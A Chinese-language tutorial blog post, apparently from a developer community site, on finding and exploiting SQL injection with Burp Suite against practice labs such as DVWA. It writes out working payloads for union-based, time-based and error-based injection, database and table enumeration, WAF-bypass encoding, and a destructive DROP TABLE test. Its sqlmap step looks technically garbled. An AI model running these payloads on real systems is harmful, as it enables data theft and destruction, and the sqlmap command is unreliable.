前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >Burp Suite安全SQL注入测试

Burp Suite安全SQL注入测试

原创
作者头像
徐攀棒
发布于 2025-03-27 02:25:42
发布于 2025-03-27 02:25:42
3330
举报

一、准备工作

  1. 配置 Burp 代理
    • 浏览器设置代理:127.0.0.1:8080(Burp 默认端口)。
    • 开启 Burp 的Proxy → Intercept功能,拦截 HTTP 请求。
  2. 目标环境搭建
    • 推荐测试靶场:DVWA(设置为 “Low” 安全级别)、SQLi-Labs
    • 确保目标存在可注入点(如搜索框、登录表单、URL 参数)。

二、步骤 1:发现潜在注入点

方法 1:Proxy 抓包分析
  • 访问目标页面,输入单引号'或特殊字符(如", ;--),观察响应:
    • 若返回数据库错误(如MySQL server version),可能存在注入。
    • 示例 URL:http://example.com/search.php?id=1'
  • 右键点击拦截到的请求,选择Send to RepeaterSend to Scanner
方法 2:Scanner 自动化扫描
  1. Target → Site Map中右键点击目标目录,选择Active Scan
  2. 配置扫描策略:
    • 勾选SQL injection相关检查项(如SQL injection (MySQL)SQL injection (Oracle))。
    • 点击Scan Configuration → Advanced,添加自定义 Payload(如' UNION SELECT 1,2,3--+)。

三、步骤 2:验证注入类型

场景 1:联合查询注入(Union-Based SQLi)
  1. 使用Repeater模块发送请求,逐步增加UNION SELECT列数,直到响应正常:http http://example.com?id=1 UNION SELECT 1,2,3--+
  2. 观察返回内容,若第 2、3 列显示数据(如23),说明存在注入。
场景 2:基于时间的盲注(Time-Based Blind SQLi)
  1. 使用Intruder模块爆破字段:
    • 位置:选中参数(如id=1),点击 **Add §** 标记 payload 位置。
    • Payloads:选择Date/Time类型,添加IF(1=1, SLEEP(5), 0)
    • 发送请求,若响应延迟 5 秒,说明条件成立。
场景 3:基于报错的注入(Error-Based SQLi)
  • 构造报错语句(以 MySQL 为例):

http://example.com?id=1 AND 1=CAST((SELECT version()) AS NCHAR(100))

  • 若页面显示数据库版本(如5.7.38),说明注入成功。

四、步骤 3:利用漏洞获取数据

方法 1:使用 Burp 内置工具
  • 使用 Repeater 提取数据: http://example.com?id=1 UNION SELECT 1,user(),database()--+
    • 结果示例:root@localhost(当前用户)、test_db(数据库名)。
  • 使用 Intruder 枚举表名
    • Payload:1 UNION SELECT 1,table_name,3 FROM information_schema.tables WHERE table_schema='test_db' LIMIT 0,1--+
    • 通过Comparer模块对比响应长度,识别有效表名。
方法 2:集成 SQLmap
  • 在 Burp 中右键点击请求,选择Copy as cURL
  • 在终端粘贴命令并添加--sqlmap参数:bash curl 'http://example.com?id=1' -H "Cookie: session=123" | sqlmap -r - --dbs
    • SQLmap 会自动解析 Burp 的请求并执行注入。

五、高级技巧

  1. 处理动态令牌(Token)
    • Intruder → Options → Request Engine中配置Session Handling Rules,自动更新 CSRF 令牌。
  2. 绕过 WAF
    • 使用Decoder模块对 Payload 进行 URL 编码、双重编码(如%2527代替')。
    • 示例:id=1%27%20UNION%20SELECT%201,2,3--+
  3. 检测多语句注入
    • 测试; DROP TABLE users--+等语句,观察是否执行成功(需谨慎操作!)。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档